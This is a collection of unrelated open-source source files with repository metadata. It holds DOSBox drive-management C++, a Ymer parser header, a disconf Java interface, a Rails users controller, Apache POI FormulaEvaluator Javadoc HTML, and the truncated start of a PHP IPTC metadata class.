? 8 : strlen(file)); } upcase(file_name);upcase(file_ext); find_ext=strrchr(wild,'.'); if (find_ext) { Bitu size=(Bitu)(find_ext-wild); if (size>8) size=8; memcpy(wild_name,wild,size); find_ext++; memcpy(wild_ext,find_ext,(strlen(find_ext)>3) ? 3 : strlen(find_ext)); } else { memcpy(wild_name,wild,(strlen(wild) > 8) ? 8 : strlen(wild)); } upcase(wild_name);upcase(wild_ext); /* Names are right do some checking */ r=0; while (r<8) { if (wild_name[r]=='*') goto checkext; if (wild_name[r]!='?' && wild_name[r]!=file_name[r]) return false; r++; } checkext: r=0; while (r<3) { if (wild_ext[r]=='*') return true; if (wild_ext[r]!='?' && wild_ext[r]!=file_ext[r]) return false; r++; } return true; } void Set_Label(char const * const input, char * const output, bool cdrom) { Bitu togo = 8; Bitu vnamePos = 0; Bitu labelPos = 0; bool point = false; //spacepadding the filenamepart to include spaces after the terminating zero is more closely to the specs. (not doing this now) // HELLO\0' '' ' while (togo > 0) { if (input[vnamePos]==0) break; if (!point && (input[vnamePos]=='.')) { togo=4; point=true; } //another mscdex quirk. Label is not always uppercase. (Daggerfall) output[labelPos] = (cdrom?input[vnamePos]:toupper(input[vnamePos])); labelPos++; vnamePos++; togo--; if ((togo==0) && !point) { if (input[vnamePos]=='.') vnamePos++; output[labelPos]='.'; labelPos++; point=true; togo=3; } }; output[labelPos]=0; //Remove trailing dot. except when on cdrom and filename is exactly 8 (9 including the dot) letters. MSCDEX feature/bug (fifa96 cdrom detection) if((labelPos > 0) && (output[labelPos-1] == '.') && !(cdrom && labelPos ==9)) output[labelPos-1] = 0; } DOS_Drive::DOS_Drive() { curdir[0]=0; info[0]=0; } const char * DOS_Drive::GetInfo(void) { return info; } // static members variables int DriveManager::currentDrive; DriveManager::DriveInfo DriveManager::driveInfos[26]; void DriveManager::AppendDisk(int drive, DOS_Drive* disk) { driveInfos[drive].disks.push_back(disk); } void DriveManager::InitializeDrive(int drive) { currentDrive = drive; DriveInfo& driveInfo = driveInfos[currentDrive]; if (driveInfo.disks.size() > 0) { driveInfo.currentDisk = 0; DOS_Drive* disk = driveInfo.disks[driveInfo.currentDisk]; Drives[currentDrive] = disk; disk->Activate(); } } /* void DriveManager::CycleDrive(bool pressed) { if (!pressed) return; // do one round through all drives or stop at the next drive with multiple disks int oldDrive = currentDrive; do { currentDrive = (currentDrive + 1) % DOS_DRIVES; int numDisks = driveInfos[currentDrive].disks.size(); if (numDisks > 1) break; } while (currentDrive != oldDrive); } void DriveManager::CycleDisk(bool pressed) { if (!pressed) return; int numDisks = driveInfos[currentDrive].disks.size(); if (numDisks > 1) { // cycle disk int currentDisk = driveInfos[currentDrive].currentDisk; DOS_Drive* oldDisk = driveInfos[currentDrive].disks[currentDisk]; currentDisk = (currentDisk + 1) % numDisks; DOS_Drive* newDisk = driveInfos[currentDrive].disks[currentDisk]; driveInfos[currentDrive].currentDisk = currentDisk; // copy working directory, acquire system resources and finally switch to next drive strcpy(newDisk->curdir, oldDisk->curdir); newDisk->Activate(); Drives[currentDrive] = newDisk; } } */ void DriveManager::CycleAllDisks(void) { for (int idrive=0; idrive<2; idrive++) { /* Cycle all DISKS meaning A: and B: */ int numDisks = (int)driveInfos[idrive].disks.size(); if (numDisks > 1) { // cycle disk int currentDisk = driveInfos[idrive].currentDisk; DOS_Drive* oldDisk = driveInfos[idrive].disks[currentDisk]; currentDisk = (currentDisk + 1) % numDisks; DOS_Drive* newDisk = driveInfos[idrive].disks[currentDisk]; driveInfos[idrive].currentDisk = currentDisk; // copy working directory, acquire system resources and finally switch to next drive strcpy(newDisk->curdir, oldDisk->curdir); newDisk->Activate(); Drives[idrive] = newDisk; LOG_MSG("Drive %c: disk %d of %d now active", 'A'+idrive, currentDisk+1, numDisks); } } } void DriveManager::CycleAllCDs(void) { for (int idrive=2; idrive<DOS_DRIVES; idrive++) { /* Cycle all CDs in C: D: ... Z: */ int numDisks = (int)driveInfos[idrive].disks.size(); if (numDisks > 1) { // cycle disk int currentDisk = driveInfos[idrive].currentDisk; DOS_Drive* oldDisk = driveInfos[idrive].disks[currentDisk]; currentDisk = (currentDisk + 1) % numDisks; DOS_Drive* newDisk = driveInfos[idrive].disks[currentDisk]; driveInfos[idrive].currentDisk = currentDisk; // copy working directory, acquire system resources and finally switch to next drive strcpy(newDisk->curdir, oldDisk->curdir); newDisk->Activate(); Drives[idrive] = newDisk; LOG_MSG("Drive %c: disk %d of %d now active", 'A'+idrive, currentDisk+1, numDisks); } } } int DriveManager::UnmountDrive(int drive) { int result = 0; // unmanaged drive if (driveInfos[drive].disks.size() == 0) { result = Drives[drive]->UnMount(); } else { // managed drive int currentDisk = driveInfos[drive].currentDisk; result = driveInfos[drive].disks[currentDisk]->UnMount(); // only delete on success, current disk set to NULL because of UnMount if (result == 0) { driveInfos[drive].disks[currentDisk] = NULL; for (int i = 0; i < (int)driveInfos[drive].disks.size(); i++) { delete driveInfos[drive].disks[i]; } driveInfos[drive].disks.clear(); } } return result; } bool int13_extensions_enable = true; void DriveManager::Init(Section* s) { Section_prop * section=static_cast<Section_prop *>(s); int13_extensions_enable = section->Get_bool("int 13 extensions"); // setup driveInfos structure currentDrive = 0; for(int i = 0; i < DOS_DRIVES; i++) { driveInfos[i].currentDisk = 0; } // MAPPER_AddHandler(&CycleDisk, MK_f3, MMOD1, "cycledisk", "Cycle Disk"); // MAPPER_AddHandler(&CycleDrive, MK_f3, MMOD2, "cycledrive", "Cycle Drv"); } void DRIVES_Init(Section* sec) { DriveManager::Init(sec); } char * DOS_Drive::GetBaseDir(void) { return info + 16; } // save state support void DOS_Drive::SaveState( std::ostream& stream ) { // - pure data WRITE_POD( &curdir, curdir ); WRITE_POD( &info, info ); } void DOS_Drive::LoadState( std::istream& stream ) { // - pure data READ_POD( &curdir, curdir ); READ_POD( &info, info ); } void DriveManager::SaveState( std::ostream& stream ) { // - pure data WRITE_POD( &currentDrive, currentDrive ); } void DriveManager::LoadState( std::istream& stream ) { // - pure data READ_POD( &currentDrive, currentDrive ); } void POD_Save_DOS_DriveManager( std::ostream& stream ) { DriveManager::SaveState(stream); } void POD_Load_DOS_DriveManager( std::istream& stream ) { DriveManager::LoadState(stream); } /* ykhwong svn-daum 2012-05-21 class DriveManager // - pure data int currentDrive; // - system data static struct DriveInfo { std::vector<DOS_Drive*> disks; Bit32u currentDisk; } driveInfos[DOS_DRIVES]; class DOS_Drive // - pure data char curdir[DOS_PATHLENGTH]; char info[256]; */
petmac/DOSBox
src/dos/drives.cpp
C++
gpl-2.0
8,709
// Copyright (C) 2003--2005 Carnegie Mellon University // Copyright (C) 2011--2014 Google Inc // // This file is part of Ymer. // // Ymer is free software; you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // Ymer is distributed in the hope that it will be useful, but WITHOUT // ANY WARRANTY; without even the implied warranty of MERCHANTABILITY // or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public // License for more details. // // You should have received a copy of the GNU General Public License // along with Ymer; if not, write to the Free Software Foundation, // Inc., #59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // // Internal state of parser. #ifndef PARSER_STATE_H_ #define PARSER_STATE_H_ #include <optional> #include <string> #include <vector> #include "model.h" #include "strutil.h" class ParserState { public: ParserState(const std::optional<std::string>& filename, std::vector<std::string>* errors) : filename_(filename), errors_(errors), success_(true) {} Model* mutable_model() { if (!model_.has_value()) { model_ = Model(); } return &model_.value(); } void add_property(std::unique_ptr<const Expression>&& property) { properties_.push_back(std::move(property)); } void add_error(const std::string& error) { if (!filename_.has_value() || filename_.value() == "-") { errors_->push_back(error); } else { errors_->push_back(StrCat(filename_.value(), ":", error)); } success_ = false; } bool has_model() const { return model_.has_value(); } Model release_model() { return std::move(model_.value()); } UniquePtrVector<const Expression> release_properties() { return std::move(properties_); } bool success() const { return success_; } private: const std::optional<std::string> filename_; std::vector<std::string>* const errors_; std::optional<Model> model_; UniquePtrVector<const Expression> properties_; bool success_; }; #endif // PARSER_STATE_H_
hlsyounes/ymer
src/parser-state.h
C
gpl-2.0
2,182
package com.baidu.disconf.web.service.zookeeper.service; import java.util.Map; import com.baidu.disconf.core.common.constants.DisConfigTypeEnum; import com.baidu.disconf.web.service.zookeeper.dto.ZkDisconfData; /** * * * @author liaoqiqi * @version 2014-9-11 */ public interface ZkDeployMgr { /** * * @param appId * @param envId * @param version * @return */ String getDeployInfo(String app, String env, String version); /** * * @param app * @param env * @param version * @return */ Map<String, ZkDisconfData> getZkDisconfDataMap(String app, String env, String version); /** * 获取指定的数据 * * @param app * @param env * @param version * @return */ ZkDisconfData getZkDisconfData(String app, String env, String version, DisConfigTypeEnum disConfigTypeEnum, String keyName); }
autowang/disconf
disconf-web/src/main/java/com/baidu/disconf/web/service/zookeeper/service/ZkDeployMgr.java
Java
gpl-2.0
931
class UsersController < ApplicationController before_filter :init before_action :require_login def index @users = User.all.where.not(email: current_user.email).order('created_at DESC') end def create @user = User.new(user_params) if @user.save @activity = Activity.new({'user_id' => current_user.id, 'activity' => 'Created new user'}) @activity.save redirect_to :back, notice: "Account Created" else redirect_to :back, notice: "Failed to create account" end end def update @user = User.find(params[:id]) password_salt = current_user.password_salt pwd = user_params[:current].present? ? BCrypt::Engine.hash_secret(user_params[:current], password_salt) : current_user.password_hash confirmed = true if pwd == current_user.password_hash if user_params[:current].present? && !confirmed redirect_to :back, alert: "Current Password is not valid" else name = "#{user_params[:firstname]} #{user_params[:lastname]}" if @user.update(user_params.except(:firstname, :lastname).merge(name: name)) Activity.new({'user_id' => current_user.id, 'activity' => "Updated a user" }).save redirect_to :back, alert: "Account Updated" else redirect_to :back, alert: @user.errors.full_messages end end end def destroy user = User.find(params[:id]) if user.destroy Activity.new({'user_id' => current_user.id, 'activity' => "Deleted a user" }).save redirect_to :back end end private def user_params params.require(:user).permit(:email, :role, :password, :avatar, :firstname, :lastname, :current) end def init @preferences = Preference.find(1) end def require_login unless session[:user_id].present? redirect_to root_url end end end
bl4ckdu5t/vitabiotics
app/controllers/users_controller.rb
Ruby
gpl-2.0
1,808
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="ru"> <head> <title>FormulaEvaluator (POI API Documentation)</title> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="FormulaEvaluator (POI API Documentation)"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="class-use/FormulaEvaluator.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-all.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../org/apache/poi/ss/usermodel/FormulaError.html" title="enum in org.apache.poi.ss.usermodel"><span class="strong">Prev Class</span></a></li> <li><a href="../../../../../org/apache/poi/ss/usermodel/FractionFormat.html" title="class in org.apache.poi.ss.usermodel"><span class="strong">Next Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/poi/ss/usermodel/FormulaEvaluator.html" target="_top">Frames</a></li> <li><a href="FormulaEvaluator.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">org.apache.poi.ss.usermodel</div> <h2 title="Interface FormulaEvaluator" class="title">Interface FormulaEvaluator</h2> </div> <div class="contentContainer"> <div class="description"> <ul class="blockList"> <li class="blockList"> <dl> <dt>All Known Implementing Classes:</dt> <dd><a href="../../../../../org/apache/poi/hssf/usermodel/HSSFFormulaEvaluator.html" title="class in org.apache.poi.hssf.usermodel">HSSFFormulaEvaluator</a>, <a href="../../../../../org/apache/poi/xssf/usermodel/XSSFFormulaEvaluator.html" title="class in org.apache.poi.xssf.usermodel">XSSFFormulaEvaluator</a></dd> </dl> <hr> <br> <pre>public interface <span class="strong">FormulaEvaluator</span></pre> <div class="block">Evaluates formula cells.<p/> For performance reasons, this class keeps a cache of all previously calculated intermediate cell values. Be sure to call <a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#clearAllCachedResultValues()"><code>clearAllCachedResultValues()</code></a> if any workbook cells are changed between calls to evaluate~ methods on this class.</div> <dl><dt><span class="strong">Author:</span></dt> <dd>Amol S. Deshmukh &lt; amolweb at ya hoo dot com &gt;, Josh Micich</dd></dl> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method_summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span>Methods</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#clearAllCachedResultValues()">clearAllCachedResultValues</a></strong>()</code> <div class="block">Should be called whenever there are changes to input cells in the evaluated workbook.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../org/apache/poi/ss/usermodel/CellValue.html" title="class in org.apache.poi.ss.usermodel">CellValue</a></code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluate(org.apache.poi.ss.usermodel.Cell)">evaluate</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</code> <div class="block">If cell contains a formula, the formula is evaluated and returned, else the CellValue simply copies the appropriate cell value from the cell and also its cell type.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateAll()">evaluateAll</a></strong>()</code> <div class="block">Loops over all cells in all sheets of the associated workbook.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateFormulaCell(org.apache.poi.ss.usermodel.Cell)">evaluateFormulaCell</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</code> <div class="block">If cell contains formula, it evaluates the formula, and saves the result of the formula.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a></code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateInCell(org.apache.poi.ss.usermodel.Cell)">evaluateInCell</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</code> <div class="block">If cell contains formula, it evaluates the formula, and puts the formula result back into the cell, in place of the old formula.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#notifyDeleteCell(org.apache.poi.ss.usermodel.Cell)">notifyDeleteCell</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</code> <div class="block">Should be called to tell the cell value cache that the specified cell has just become a formula cell, or the formula text has changed</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#notifySetFormula(org.apache.poi.ss.usermodel.Cell)">notifySetFormula</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</code> <div class="block">Should be called to tell the cell value cache that the specified (value or formula) cell has changed.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#notifyUpdateCell(org.apache.poi.ss.usermodel.Cell)">notifyUpdateCell</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</code> <div class="block">Should be called to tell the cell value cache that the specified (value or formula) cell has changed.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#setDebugEvaluationOutputForNextEval(boolean)">setDebugEvaluationOutputForNextEval</a></strong>(boolean&nbsp;value)</code> <div class="block">Perform detailed output of formula evaluation for next evaluation only?</div> </td> </tr> </table> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method_detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="clearAllCachedResultValues()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>clearAllCachedResultValues</h4> <pre>void&nbsp;clearAllCachedResultValues()</pre> <div class="block">Should be called whenever there are changes to input cells in the evaluated workbook. Failure to call this method after changing cell values will cause incorrect behaviour of the evaluate~ methods of this class</div> </li> </ul> <a name="notifySetFormula(org.apache.poi.ss.usermodel.Cell)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>notifySetFormula</h4> <pre>void&nbsp;notifySetFormula(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</pre> <div class="block">Should be called to tell the cell value cache that the specified (value or formula) cell has changed. Failure to call this method after changing cell values will cause incorrect behaviour of the evaluate~ methods of this class</div> </li> </ul> <a name="notifyDeleteCell(org.apache.poi.ss.usermodel.Cell)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>notifyDeleteCell</h4> <pre>void&nbsp;notifyDeleteCell(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</pre> <div class="block">Should be called to tell the cell value cache that the specified cell has just become a formula cell, or the formula text has changed</div> </li> </ul> <a name="notifyUpdateCell(org.apache.poi.ss.usermodel.Cell)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>notifyUpdateCell</h4> <pre>void&nbsp;notifyUpdateCell(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</pre> <div class="block">Should be called to tell the cell value cache that the specified (value or formula) cell has changed. Failure to call this method after changing cell values will cause incorrect behaviour of the evaluate~ methods of this class</div> </li> </ul> <a name="evaluateAll()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>evaluateAll</h4> <pre>void&nbsp;evaluateAll()</pre> <div class="block">Loops over all cells in all sheets of the associated workbook. For cells that contain formulas, their formulas are evaluated, and the results are saved. These cells remain as formula cells. For cells that do not contain formulas, no changes are made. This is a helpful wrapper around looping over all cells, and calling evaluateFormulaCell on each one.</div> </li> </ul> <a name="evaluate(org.apache.poi.ss.usermodel.Cell)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>evaluate</h4> <pre><a href="../../../../../org/apache/poi/ss/usermodel/CellValue.html" title="class in org.apache.poi.ss.usermodel">CellValue</a>&nbsp;evaluate(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</pre> <div class="block">If cell contains a formula, the formula is evaluated and returned, else the CellValue simply copies the appropriate cell value from the cell and also its cell type. This method should be preferred over evaluateInCell() when the call should not modify the contents of the original cell.</div> <dl><dt><span class="strong">Parameters:</span></dt><dd><code>cell</code> - </dd></dl> </li> </ul> <a name="evaluateFormulaCell(org.apache.poi.ss.usermodel.Cell)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>evaluateFormulaCell</h4> <pre>int&nbsp;evaluateFormulaCell(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</pre> <div class="block">If cell contains formula, it evaluates the formula, and saves the result of the formula. The cell remains as a formula cell. Else if cell does not contain formula, this method leaves the cell unchanged. Note that the type of the formula result is returned, so you know what kind of value is also stored with the formula. <pre> int evaluatedCellType = evaluator.evaluateFormulaCell(cell); </pre> Be aware that your cell will hold both the formula, and the result. If you want the cell replaced with the result of the formula, use <a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateInCell(org.apache.poi.ss.usermodel.Cell)"><code>evaluateInCell(Cell)</code></a></div> <dl><dt><span class="strong">Parameters:</span></dt><dd><code>cell</code> - The cell to evaluate</dd> <dt><span class="strong">Returns:</span></dt><dd>The type of the formula result (the cell's type remains as Cell.CELL_TYPE_FORMULA however)</dd></dl> </li> </ul> <a name="evaluateInCell(org.apache.poi.ss.usermodel.Cell)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>evaluateInCell</h4> <pre><a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;evaluateInCell(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a>&nbsp;cell)</pre> <div class="block">If cell contains formula, it evaluates the formula, and puts the formula result back into the cell, in place of the old formula. Else if cell does not contain formula, this method leaves the cell unchanged. Note that the same instance of Cell is returned to allow chained calls like: <pre> int evaluatedCellType = evaluator.evaluateInCell(cell).getCellType(); </pre> Be aware that your cell value will be changed to hold the result of the formula. If you simply want the formula value computed for you, use <a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateFormulaCell(org.apache.poi.ss.usermodel.Cell)"><code>evaluateFormulaCell(Cell)</code></a></div> <dl><dt><span class="strong">Parameters:</span></dt><dd><code>cell</code> - </dd></dl> </li> </ul> <a name="setDebugEvaluationOutputForNextEval(boolean)"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>setDebugEvaluationOutputForNextEval</h4> <pre>void&nbsp;setDebugEvaluationOutputForNextEval(boolean&nbsp;value)</pre> <div class="block">Perform detailed output of formula evaluation for next evaluation only? Is for developer use only (also developers using POI for their XLS files). Log-Level WARN is for basic info, INFO for detailed information. These quite high levels are used because you have to explicitly enable this specific logging.</div> <dl><dt><span class="strong">Parameters:</span></dt><dd><code>value</code> - whether to perform detailed output</dd></dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="class-use/FormulaEvaluator.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-all.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../org/apache/poi/ss/usermodel/FormulaError.html" title="enum in org.apache.poi.ss.usermodel"><span class="strong">Prev Class</span></a></li> <li><a href="../../../../../org/apache/poi/ss/usermodel/FractionFormat.html" title="class in org.apache.poi.ss.usermodel"><span class="strong">Next Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/poi/ss/usermodel/FormulaEvaluator.html" target="_top">Frames</a></li> <li><a href="FormulaEvaluator.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small> <i>Copyright 2014 The Apache Software Foundation or its licensors, as applicable.</i> </small></p> </body> </html>
setu9760/Jade_project_repo
lib/docs/apidocs/org/apache/poi/ss/usermodel/FormulaEvaluator.html
HTML
gpl-2.0
19,103
<?php /** * @file * @brief sigplus Image Gallery Plus metadata extraction * @author Levente Hunyadi * @version 1.3.0 * @remarks Copyright (C) 2009-2010 Levente Hunyadi * @remarks Licensed under GNU/GPLv3, see http://www.gnu.org/licenses/gpl-3.0.html * @see http://hunyadi.info.hu/projects/sigplus */ /* * sigplus Image Gallery Plus plug-in for Joomla * Copyright 2009-2010 Levente Hunyadi * * sigplus is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * sigplus is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); class SIGPlusIPTCServices { private static $enveloperecord = array( 0=>'Envelope Record Version', 5=>'Destination', 20=>'File Format', 22=>'File Version', 30=>'Service Identifier', 40=>'Envelope Number', 50=>'Product ID', 60=>'Envelope Priority', 70=>'Date Sent', 80=>'Time Sent', 90=>'Coded Character Set', 100=>'Unique Object Name', 120=>'ARM Identifier', 122=>'ARM Version'); private static $applicationrecord = array( 0=>'Application Record Version', 3=>'Object Type Reference', 4=>'Object Attribute Reference', 5=>'Object Name', 7=>'Edit Status', 8=>'Editorial Update', 10=>'Urgency', 12=>'Subject Reference', 15=>'Category', 20=>'Supplemental Categories', 22=>'Fixture Identifier', 25=>'Keywords', 26=>'Content Location Code', 27=>'Content Location Name', 30=>'Release Date', 35=>'Release Time', 37=>'Expiration Date', 38=>'Expiration Time', 40=>'Special Instructions', 42=>'Action Advised', 45=>'Reference Service', 47=>'Reference Date', 50=>'Reference Number', 55=>'Date Created', 60=>'Time Created', 62=>'Digital Creation Date', 63=>'Digital Creation Time', 65=>'Originating Program', 70=>'Program Version', 75=>'Object Cycle', 80=>'By-line', 85=>'By-line Title', 90=>'City', 92=>'Sub-location', 95=>'Province-State', 100=>'Country-Primary Location Code', 101=>'Country-Primary Location Name', 103=>'Original Transmission Reference', 105=>'Headline', 110=>'Credit', 115=>'Source', 116=>'Copyright Notice', 118=>'Contact', 120=>'Caption-Abstract', 121=>'Local Caption', 122=>'Writer-Editor', 125=>'Rasterized Caption', 130=>'Image Type', 131=>'Image Orientation', 135=>'Language Identifier', 150=>'Audio Type', 151=>'Audio Sampling Rate', 152=>'Audio Sampling Resolution', 153=>'Audio Duration', 154=>'Audio Outcue', 184=>'JobID', 185=>'Master Document ID', 186=>'Short Document ID', 187=>'Unique Document ID', 188=>'Owner ID', 200=>'Object Preview File Format', 201=>'Object Preview File Version', 202=>'Object Preview Data', 221=>'Prefs', 225=>'Classify State', 228=>'Similarity Index', 230=>'Document Notes', 231=>'Document History', 232=>'Exif Camera Info'); private static $fileformats = array( 0=>'No Object Data', 1=>'IPTC-NAA Digital Newsphoto Parameter Record', 2=>'IPTC7901 Recommended Message Format', 3=>'Tagged Image File Format (Adobe/Aldus Image data)', 4=>'Illustrator (Adobe Graphics data)', 5=>'AppleSingle (Apple Computer Inc)', 